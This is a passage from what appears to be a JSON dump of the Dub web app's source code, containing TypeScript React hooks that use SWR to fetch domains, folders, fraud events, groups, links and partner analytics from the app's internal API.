    "content": "import { DomainProps } from \"@/lib/types\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport {\n  DUB_DOMAINS,\n  DUB_WORKSPACE_ID,\n  SHORT_DOMAIN,\n  fetcher,\n} from \"@dub/utils\";\nimport { useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport { prefixWorkspaceId } from \"../api/workspaces/workspace-id\";\nimport useDefaultDomains from \"./use-default-domains\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useDomains({\n  ignoreParams,\n  opts,\n}: {\n  ignoreParams?: boolean;\n  opts?: Record<string, string>;\n} = {}) {\n  const { id: workspaceId } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const { data, error, mutate } = useSWR<\n    (DomainProps & { linkRetentionDays?: number })[]\n  >(\n    workspaceId &&\n      `/api/domains${\n        ignoreParams\n          ? \"?\" +\n            new URLSearchParams({\n              ...opts,\n              workspaceId,\n            }).toString()\n          : getQueryString({\n              ...opts,\n              workspaceId,\n            })\n      }`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n  const {\n    defaultDomains: workspaceDefaultDomains,\n    loading: loadingDefaultDomains,\n  } = useDefaultDomains(opts);\n\n  const allWorkspaceDomains = useMemo(() => data || [], [data]);\n  const activeWorkspaceDomains = useMemo(\n    () => data?.filter((domain) => !domain.archived),\n    [data],\n  );\n\n  const activeDefaultDomains = useMemo(\n    () =>\n      (workspaceDefaultDomains &&\n        DUB_DOMAINS.filter((d) => workspaceDefaultDomains?.includes(d.slug))) ||\n      DUB_DOMAINS,\n    [workspaceDefaultDomains],\n  );\n\n  const allDomains = useMemo(\n    () => [\n      ...allWorkspaceDomains,\n      ...(workspaceId === prefixWorkspaceId(DUB_WORKSPACE_ID)\n        ? []\n        : DUB_DOMAINS),\n    ],\n    [allWorkspaceDomains, workspaceId],\n  );\n  const allActiveDomains = useMemo(\n    () => [\n      ...(activeWorkspaceDomains || []),\n      ...(workspaceId === prefixWorkspaceId(DUB_WORKSPACE_ID)\n        ? []\n        : activeDefaultDomains),\n    ],\n    [activeWorkspaceDomains, activeDefaultDomains, workspaceId],\n  );\n\n  const primaryDomain = useMemo(() => {\n    if (activeWorkspaceDomains && activeWorkspaceDomains.length > 0) {\n      return (\n        activeWorkspaceDomains.find(({ primary }) => primary)?.slug ||\n        activeWorkspaceDomains[0].slug\n      );\n    } else if (activeDefaultDomains.find(({ slug }) => slug === \"dub.link\")) {\n      return \"dub.link\";\n    }\n    return SHORT_DOMAIN;\n  }, [activeDefaultDomains, activeWorkspaceDomains]);\n\n  return {\n    activeWorkspaceDomains, // active workspace domains\n    activeDefaultDomains, // active default Dub domains\n    allWorkspaceDomains, // all workspace domains (active + archived)\n    allActiveDomains, // all active domains (active workspace domains + active default Dub domains)\n    allDomains, // all domains (all workspace domains + all default Dub domains)\n    primaryDomain,\n    loading: (!data && !error) || loadingDefaultDomains,\n    mutate,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-email-domains.ts",
    "content": "import { EmailDomainProps } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport { useMemo } from \"react\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport function useEmailDomains() {\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const {\n    data: emailDomains,\n    error,\n    mutate,\n  } = useSWR<EmailDomainProps[]>(\n    workspaceId && defaultProgramId\n      ? `/api/email-domains?workspaceId=${workspaceId}`\n      : null,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  const verifiedEmailDomain = useMemo(() => {\n    return emailDomains?.find((domain) => domain.status === \"verified\");\n  }, [emailDomains]);\n\n  return {\n    emailDomains,\n    verifiedEmailDomain,\n    loading: !emailDomains && !error,\n    mutate,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-folder-access-requests.ts",
    "content": "import { FolderAccessRequest } from \"@dub/prisma/client\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport function useFolderAccessRequests() {\n  const { id, plan } = useWorkspace();\n\n  const { data, error, isLoading, isValidating, mutate } = useSWR<\n    FolderAccessRequest[]\n  >(\n    id && plan !== \"free\" && plan !== \"pro\"\n      ? `/api/folders/access-requests?workspaceId=${id}`\n      : null,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return {\n    accessRequests: data,\n    error,\n    isLoading,\n    isValidating,\n    mutate,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-folder-link-count.ts",
    "content": "import { useMemo } from \"react\";\nimport { FolderLinkCount } from \"../types\";\nimport useLinksCount from \"./use-links-count\";\n\nexport function useFolderLinkCount({\n  folderId,\n  enabled = true,\n}: {\n  folderId: string | null;\n  enabled?: boolean;\n}) {\n  const { data: folderLinksCount, loading } = useLinksCount<FolderLinkCount[]>({\n    enabled,\n    query: {\n      groupBy: \"folderId\",\n    },\n    ignoreParams: true,\n  });\n\n  const folderLinkCount = useMemo(() => {\n    return (\n      folderLinksCount?.find(\n        ({ folderId: id }) =>\n          id === folderId || (id === null && folderId === \"unsorted\"),\n      )?._count || 0\n    );\n  }, [folderLinksCount, folderId]);\n\n  return { folderLinkCount, loading };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-folder-permissions.ts",
    "content": "import { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { FolderPermission, FolderWithPermissions } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport function useFolderPermissions() {\n  const { id, plan } = useWorkspace();\n\n  const { data, error, isLoading, mutate } = useSWR<FolderWithPermissions[]>(\n    id && plan !== \"free\" && plan !== \"pro\"\n      ? `/api/folders/permissions?workspaceId=${id}`\n      : null,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return {\n    folders: data,\n    error,\n    isLoading,\n    mutate,\n  };\n}\n\nexport function useCheckFolderPermission(\n  folderId: string | null,\n  action: FolderPermission,\n) {\n  const { plan } = useWorkspace();\n  const { folders } = useFolderPermissions();\n  const { canManageFolderPermissions } = getPlanCapabilities(plan);\n\n  if (!canManageFolderPermissions) {\n    return true;\n  }\n\n  if (!folderId || folderId === \"unsorted\") {\n    return true;\n  }\n\n  if (!folders || !Array.isArray(folders)) {\n    return false;\n  }\n\n  const folder = folders.find((folder) => folder.id === folderId);\n\n  if (!folder) {\n    return false;\n  }\n\n  return folder.permissions.includes(action);\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-folder-users.ts",
    "content": "import { FolderUser } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport { getPlanCapabilities } from \"../plan-capabilities\";\nimport useWorkspace from \"./use-workspace\";\n\nexport function useFolderUsers(\n  {\n    folderId,\n    enabled = true,\n  }: {\n    folderId?: string | null;\n    enabled?: boolean;\n  },\n  swrOpts?: SWRConfiguration,\n) {\n  const { id: workspaceId, plan } = useWorkspace();\n  const { canManageFolderPermissions } = getPlanCapabilities(plan);\n\n  const {\n    data: users,\n    isValidating,\n    isLoading,\n  } = useSWR<FolderUser[]>(\n    enabled &&\n      workspaceId &&\n      canManageFolderPermissions &&\n      folderId &&\n      folderId !== \"unsorted\"\n      ? `/api/folders/${folderId}/users?workspaceId=${workspaceId}`\n      : undefined,\n    fetcher,\n    {\n      revalidateOnFocus: false,\n      keepPreviousData: true,\n      ...swrOpts,\n    },\n  );\n\n  return {\n    users,\n    isValidating,\n    isLoading,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-folder.ts",
    "content": "import { Folder } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useFolder({\n  folderId,\n  enabled = true,\n}: {\n  folderId?: string | null;\n  enabled?: boolean;\n}) {\n  const { id: workspaceId, plan } = useWorkspace();\n\n  const swrEnabled =\n    enabled &&\n    folderId &&\n    folderId !== \"unsorted\" &&\n    workspaceId &&\n    plan !== \"free\";\n\n  const {\n    data: folder,\n    isValidating,\n    isLoading,\n    error,\n  } = useSWR<Folder>(\n    swrEnabled ? `/api/folders/${folderId}?workspaceId=${workspaceId}` : null,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    folder,\n    loading: isLoading,\n    isValidating,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-folders-count.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useFoldersCount({\n  includeParams = [],\n  query,\n}: {\n  includeParams?: string[];\n  query?: Record<string, any>;\n} = {}) {\n  const { id: workspaceId, plan } = useWorkspace();\n\n  const { getQueryString } = useRouterStuff();\n\n  const qs = getQueryString(\n    { workspaceId, ...query },\n    { include: includeParams },\n  );\n\n  const { data, error } = useSWR<number>(\n    workspaceId && plan !== \"free\" ? `/api/folders/count${qs}` : null,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return {\n    data,\n    loading: !error && data === undefined,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-folders.ts",
    "content": "import { Folder } from \"@/lib/types\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useFolders({\n  includeParams = [],\n  query,\n  options,\n}: {\n  includeParams?: string[];\n  query?: Record<string, any>;\n  options?: SWRConfiguration;\n} = {}) {\n  const { id: workspaceId, plan } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const {\n    data: folders,\n    isValidating,\n    isLoading,\n  } = useSWR<Folder[]>(\n    workspaceId\n      ? `/api/folders${getQueryString(\n          { workspaceId, ...query },\n          { include: includeParams },\n        )}`\n      : null,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      ...options,\n    },\n  );\n\n  return {\n    folders,\n    loading: isLoading,\n    isValidating,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-fraud-events-count.ts",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\n\nexport function useFraudEventsCount({\n  enabled = true,\n}: { enabled?: boolean } = {}) {\n  const { id: workspaceId } = useWorkspace();\n  const { getQueryString, searchParams } = useRouterStuff();\n\n  const groupId = searchParams.get(\"groupId\");\n\n  const queryString = getQueryString({\n    workspaceId,\n  });\n\n  const { data, error } = useSWR<number>(\n    workspaceId && groupId && enabled\n      ? `/api/fraud/events/count${queryString}`\n      : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    fraudEventsCount: data,\n    loading: !error && data === undefined,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-fraud-events-paginated.ts",
    "content": "import { useState } from \"react\";\nimport { useFraudEvents } from \"./use-fraud-events\";\nimport { useFraudEventsCount } from \"./use-fraud-events-count\";\n\nexport function useFraudEventsPaginated<T = unknown>({\n  pageSize = 10,\n}: {\n  pageSize?: number;\n} = {}) {\n  const [pagination, setPagination] = useState({\n    pageIndex: 1,\n    pageSize,\n  });\n\n  const { fraudEvents, loading, error, isValidating } = useFraudEvents<T>({\n    page: pagination.pageIndex,\n    pageSize: pagination.pageSize,\n  });\n\n  const { fraudEventsCount } = useFraudEventsCount();\n\n  return {\n    fraudEvents,\n    loading: loading || isValidating,\n    error,\n    pagination,\n    setPagination,\n    fraudEventsCount,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-fraud-events.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport function useFraudEvents<T = unknown>({\n  page,\n  pageSize,\n}: {\n  page?: number;\n  pageSize?: number;\n} = {}) {\n  const { id: workspaceId } = useWorkspace();\n  const { getQueryString, searchParams } = useRouterStuff();\n\n  const groupId = searchParams.get(\"groupId\");\n\n  const queryString = getQueryString({\n    workspaceId,\n    ...(page && { page }),\n    ...(pageSize && { pageSize }),\n  });\n\n  const { data, error, isValidating } = useSWR<T[]>(\n    workspaceId && groupId ? `/api/fraud/events${queryString}` : undefined,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    fraudEvents: data,\n    loading: !data && !error,\n    isValidating,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-fraud-groups-count.ts",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { fraudGroupCountQuerySchema } from \"../zod/schemas/fraud\";\n\nexport function useFraudGroupCount<T>({\n  query,\n  enabled = true,\n  ignoreParams = false,\n}: {\n  query?: Partial<z.infer<typeof fraudGroupCountQuerySchema>>;\n  enabled?: boolean;\n  ignoreParams?: boolean;\n} = {}) {\n  const { getQueryString } = useRouterStuff();\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const queryString = getQueryString(\n    {\n      workspaceId,\n      ...query,\n    },\n    ignoreParams\n      ? { include: [] }\n      : {\n          exclude: [\"page\", \"pageSize\", \"sortBy\", \"sortOrder\", \"groupId\"],\n        },\n  );\n\n  const { data, error } = useSWR(\n    defaultProgramId && enabled\n      ? `/api/fraud/groups/count${queryString}`\n      : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    fraudGroupCount: data as T,\n    loading: !error && data === undefined,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-fraud-groups.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { FraudGroupProps } from \"../types\";\nimport { fraudGroupQuerySchema } from \"../zod/schemas/fraud\";\nimport useWorkspace from \"./use-workspace\";\n\nexport function useFraudGroups({\n  enabled = true,\n  exclude = [],\n  query,\n}: {\n  enabled?: boolean;\n  exclude?: (keyof z.infer<typeof fraudGroupQuerySchema>)[];\n  query?: Partial<z.infer<typeof fraudGroupQuerySchema>>;\n} = {}) {\n  const { getQueryString } = useRouterStuff();\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const queryString = getQueryString(\n    {\n      workspaceId,\n      ...query,\n    },\n    { exclude },\n  );\n\n  const { data, error } = useSWR<FraudGroupProps[]>(\n    enabled && defaultProgramId ? `/api/fraud/groups${queryString}` : undefined,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    fraudGroups: data,\n    loading: enabled && !data && !error,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-group-move-rules.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { groupRulesSchema } from \"../zod/schemas/groups\";\nimport useWorkspace from \"./use-workspace\";\n\ntype GroupRules = z.infer<typeof groupRulesSchema>;\n\nexport function useGroupMoveRules() {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data, isLoading, error } = useSWR<GroupRules>(\n    workspaceId ? `/api/groups/rules?workspaceId=${workspaceId}` : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    groups: data,\n    loading: isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-group.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport { GroupProps } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useGroup<T = GroupProps>(\n  {\n    groupIdOrSlug: groupIdOrSlugProp,\n    query,\n  }: {\n    groupIdOrSlug?: string;\n    query?: Record<string, any>;\n  } = {},\n  swrOpts?: SWRConfiguration,\n) {\n  const { id: workspaceId } = useWorkspace();\n  const { groupSlug: groupSlugParam } = useParams<{ groupSlug: string }>();\n\n  const groupIdOrSlug = groupIdOrSlugProp ?? groupSlugParam;\n\n  const {\n    data: group,\n    error,\n    mutate: mutateGroup,\n  } = useSWR<T>(\n    workspaceId && groupIdOrSlug\n      ? `/api/groups/${groupIdOrSlug}?${new URLSearchParams({ workspaceId, ...query }).toString()}`\n      : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n      ...swrOpts,\n    },\n  );\n\n  return {\n    group,\n    error,\n    mutateGroup,\n    loading: !group && !error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-groups-count.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { getGroupsQuerySchema } from \"../zod/schemas/groups\";\nimport useWorkspace from \"./use-workspace\";\n\nconst partialQuerySchema = getGroupsQuerySchema.partial();\n\nexport default function useGroupsCount({\n  query,\n  enabled = true,\n}: {\n  query?: z.infer<typeof partialQuerySchema>;\n  enabled?: boolean;\n} = {}) {\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const { data, isLoading, error } = useSWR<number>(\n    enabled && defaultProgramId\n      ? `/api/groups/count${getQueryString({ workspaceId, ...query })}`\n      : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    groupsCount: data,\n    loading: isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-groups.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { GroupProps } from \"../types\";\nimport { getGroupsQuerySchema } from \"../zod/schemas/groups\";\nimport useWorkspace from \"./use-workspace\";\n\nconst partialQuerySchema = getGroupsQuerySchema.partial();\n\nexport default function useGroups<T extends GroupProps>({\n  query,\n  enabled = true,\n}: {\n  query?: z.infer<typeof partialQuerySchema>;\n  enabled?: boolean;\n} = {}) {\n  const { id: workspaceId, defaultProgramId } = useWorkspace();\n\n  const { data, isLoading, error } = useSWR<T[]>(\n    enabled && workspaceId && defaultProgramId\n      ? `/api/groups?${new URLSearchParams({\n          workspaceId,\n          sortBy: \"totalSaleAmount\",\n          ...(query as Record<string, string>),\n        }).toString()}`\n      : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    groups: data,\n    loading: isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-guide.ts",
    "content": "import { textFetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\n\nexport default function useGuide(guideKey: string, swrOpts?: SWRConfiguration) {\n  const { data: guideMarkdown, error } = useSWR(\n    `/api/docs/guides/${guideKey}`,\n    textFetcher,\n    {\n      keepPreviousData: true,\n      ...swrOpts,\n    },\n  );\n\n  return {\n    guideMarkdown,\n    error,\n    loading: !guideMarkdown && !error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-integrations.ts",
    "content": "import { InstalledIntegrationProps } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useIntegrations({\n  swrOpts,\n}: { swrOpts?: SWRConfiguration } = {}) {\n  const { id } = useWorkspace();\n\n  const { data: integrations, error } = useSWR<\n    Pick<InstalledIntegrationProps, \"id\" | \"name\" | \"slug\">[]\n  >(`/api/integrations?workspaceId=${id}`, fetcher, {\n    dedupingInterval: 20000,\n    revalidateOnFocus: false,\n    keepPreviousData: true,\n    ...swrOpts,\n  });\n\n  return {\n    integrations,\n    error,\n    loading: !integrations && !error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-link.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport { ExpandedLinkProps } from \"../types\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useLink(\n  linkIdOrLink: string | { domain: string; slug: string },\n  swrOptions?: SWRConfiguration,\n) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data: link, error } = useSWR<ExpandedLinkProps>(\n    workspaceId &&\n      linkIdOrLink &&\n      (typeof linkIdOrLink === \"string\"\n        ? `/api/links/${linkIdOrLink}?workspaceId=${workspaceId}`\n        : `/api/links/info?${new URLSearchParams({\n            workspaceId,\n            domain: linkIdOrLink.domain,\n            key: linkIdOrLink.slug,\n            includeUser: \"true\",\n            includeWebhooks: \"true\",\n          })}`),\n    fetcher,\n    swrOptions,\n  );\n\n  return {\n    link,\n    loading: !link && !error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-links-count.ts",
    "content": "import { useCurrentSubdomain, useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { getLinksCountQuerySchema } from \"../zod/schemas/links\";\nimport useWorkspace from \"./use-workspace\";\n\nconst partialQuerySchema = getLinksCountQuerySchema.partial();\n\nexport default function useLinksCount<T = any>({\n  query,\n  ignoreParams,\n  enabled = true,\n}: {\n  query?: z.infer<typeof partialQuerySchema>;\n  ignoreParams?: boolean;\n  enabled?: boolean;\n} = {}) {\n  const { id: workspaceId, isMegaWorkspace } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n  const { subdomain } = useCurrentSubdomain();\n\n  const { data, error } = useSWR<any>(\n    workspaceId && !isMegaWorkspace && enabled\n      ? `/api/links/count${getQueryString(\n          {\n            workspaceId,\n            ...query,\n          },\n          ignoreParams\n            ? { include: [] }\n            : {\n                exclude: [\"import\", \"upgrade\", \"newLink\"],\n              },\n        )}`\n      : subdomain === \"admin\"\n        ? `/api/admin/links/count${getQueryString({\n            ...query,\n          })}`\n        : null,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    data: data as T,\n    loading: !error && data === undefined,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-links.ts",
    "content": "import { useCurrentSubdomain, useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport * as z from \"zod/v4\";\nimport { ExpandedLinkProps, UserProps } from \"../types\";\nimport { getLinksQuerySchemaExtended } from \"../zod/schemas/links\";\nimport useWorkspace from \"./use-workspace\";\n\nconst partialQuerySchema = getLinksQuerySchemaExtended.partial();\n\nexport default function useLinks(\n  opts: z.infer<typeof partialQuerySchema> = {},\n  swrOpts: SWRConfiguration = {},\n) {\n  const { id: workspaceId, isMegaWorkspace } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const { subdomain } = useCurrentSubdomain();\n\n  const {\n    data: links,\n    isValidating,\n    error,\n  } = useSWR<\n    (ExpandedLinkProps & {\n      user: UserProps;\n    })[]\n  >(\n    workspaceId\n      ? `/api/links${getQueryString(\n          {\n            workspaceId,\n            includeUser: \"true\",\n            includeDashboard: \"true\",\n            ...opts,\n            // don't show archived on mega workspaces\n            ...(isMegaWorkspace\n              ? {\n                  showArchived: \"false\",\n                }\n              : {}),\n          },\n          {\n            include: [\n              \"folderId\",\n              \"tagIds\",\n              \"domain\",\n              \"userId\",\n              \"search\",\n              \"page\",\n              \"sortBy\",\n              \"sortOrder\",\n              \"showArchived\",\n            ],\n          },\n        )}`\n      : subdomain === \"admin\"\n        ? `/api/admin/links${getQueryString(opts)}`\n        : null,\n    fetcher,\n    {\n      dedupingInterval: 20000,\n      revalidateOnFocus: false,\n      keepPreviousData: true,\n      ...swrOpts,\n    },\n  );\n\n  return {\n    links,\n    isValidating,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-network-partners-count.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport * as z from \"zod/v4\";\nimport { getNetworkPartnersCountQuerySchema } from \"../zod/schemas/partner-network\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useNetworkPartnersCount<\n  T = { discover: number; invited: number; recruited: number },\n>({\n  query,\n  enabled,\n  ignoreParams,\n  excludeParams = [],\n  swrOpts,\n}: {\n  query?: Partial<z.infer<typeof getNetworkPartnersCountQuerySchema>>;\n  enabled?: boolean;\n  ignoreParams?: boolean;\n  excludeParams?: string[];\n  swrOpts?: SWRConfiguration;\n} = {}) {\n  const { id: workspaceId } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const { data, isLoading, error } = useSWR<T>(\n    workspaceId &&\n      enabled !== false &&\n      `/api/network/partners/count${\n        ignoreParams\n          ? `?${new URLSearchParams({ workspaceId, ...(query as any) }).toString()}`\n          : getQueryString(\n              {\n                workspaceId,\n                ...query,\n              },\n              {\n                exclude: [\"page\", \"tab\", ...excludeParams],\n              },\n            )\n      }`,\n    fetcher,\n    {\n      keepPreviousData: true,\n      ...swrOpts,\n    },\n  );\n\n  return {\n    data,\n    isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-network-programs-count.ts",
    "content": "import { useRouterStuff } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport * as z from \"zod/v4\";\nimport { getNetworkProgramsCountQuerySchema } from \"../zod/schemas/program-network\";\nimport useWorkspace from \"./use-workspace\";\n\nexport default function useNetworkProgramsCount<T = number>({\n  query,\n  enabled,\n  ignoreParams,\n  excludeParams = [],\n  swrOpts,\n}: {\n  query?: Partial<z.infer<typeof getNetworkProgramsCountQuerySchema>>;\n  enabled?: boolean;\n  ignoreParams?: boolean;\n  excludeParams?: string[];\n  swrOpts?: SWRConfiguration;\n} = {}) {\n  const { id: workspaceId } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n\n  const { data, isLoading, error } = useSWR<T>(\n    enabled !== false &&\n      `/api/network/programs/count${\n        ignoreParams\n          ? `?${new URLSearchParams({ workspaceId, ...(query && (query as any)) }).toString()}`\n          : getQueryString(query, {\n              exclude: [\"page\", ...excludeParams],\n            })\n      }`,\n    fetcher,\n    {\n      keepPreviousData: true,\n      ...swrOpts,\n    },\n  );\n\n  return {\n    data,\n    isLoading,\n    error,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-activity-logs.ts",
    "content": "import { ActivityLog, GetActivityLogsQuery } from \"@/lib/types\";\nimport { fetcher } from \"@dub/utils\";\nimport { useParams } from \"next/navigation\";\nimport useSWR from \"swr\";\n\nexport function usePartnerActivityLogs({\n  query,\n  enabled = true,\n}: {\n  query?: GetActivityLogsQuery;\n  enabled?: boolean;\n} = {}) {\n  const { programSlug } = useParams<{ programSlug: string }>();\n\n  const searchParams = query\n    ? new URLSearchParams({\n        ...query,\n      }).toString()\n    : \"\";\n\n  const { data, error, isLoading, mutate } = useSWR<ActivityLog[]>(\n    enabled &&\n      programSlug &&\n      query?.resourceType &&\n      query?.resourceId &&\n      `/api/partner-profile/programs/${programSlug}/activity-logs?${searchParams}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return {\n    activityLogs: data,\n    error,\n    loading: isLoading,\n    mutate,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/swr/use-partner-analytics.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { useParams, useSearchParams } from \"next/navigation\";\nimport { toast } from \"sonner\";\nimport useSWR, { SWRConfiguration } from \"swr\";\nimport {\n  DUB_PARTNERS_ANALYTICS_INTERVAL,\n  VALID_ANALYTICS_FILTERS,\n} from \"../analytics/constants\";\nimport { PartnerAnalyticsFilters } from \"../analytics/types\";\n\nexport default function usePartnerAnalytics(\n  params: PartnerAnalyticsFilters & {\n    programId?: string;\n    enabled?: boolean;\n  },\n  options?: SWRConfiguration,\n) {\n  const { programSlug } = useParams();\n  const searchParams = useSearchParams();\n\n  const programIdToUse = params?.programId ?? programSlug;\n\n  const { data, error } = useSWR<any>(\n    programIdToUse &&\n      params.enabled !== false &&\n      `/api/partner-profile/programs/${programIdToUse}/analytics?${new URLSearchParams(\n        {\n          event: params?.event ?? \"composite\",\n          groupBy: params?.groupBy ?? \"count\",\n          ...(params?.linkId && { linkId: params.linkId }),\n          ...VALID_ANALYTICS_FILTERS.reduce(\n            (acc, filter) => ({\n              ...acc,\n              ...(searchParams?.get(filter) && {\n                [filter]: searchParams.get(filter),\n              }),\n            }),\n            {},\n          ),\n          ...(params?.start && params?.end\n            ? {\n                start: params.start.toISOString(),\n                end: params.end.toISOString(),\n              }\n            : {\n                interval: params?.interval ?? DUB_PARTNERS_ANALYTICS_INTERVAL,\n              }),\n          timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,\n        },\n      ).toString()}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n      keepPreviousData: true,\n      onError: (error) => {\n        const errorMessage = error.message;\n        toast.error(errorMessage);\n      },\n      ...options,\n    },\n  );\n\n  return {\n    data,\n    error,\n    loading:\n      programIdToUse && params.enabled !== false && !data && !error\n        ? true\n        : false,\n  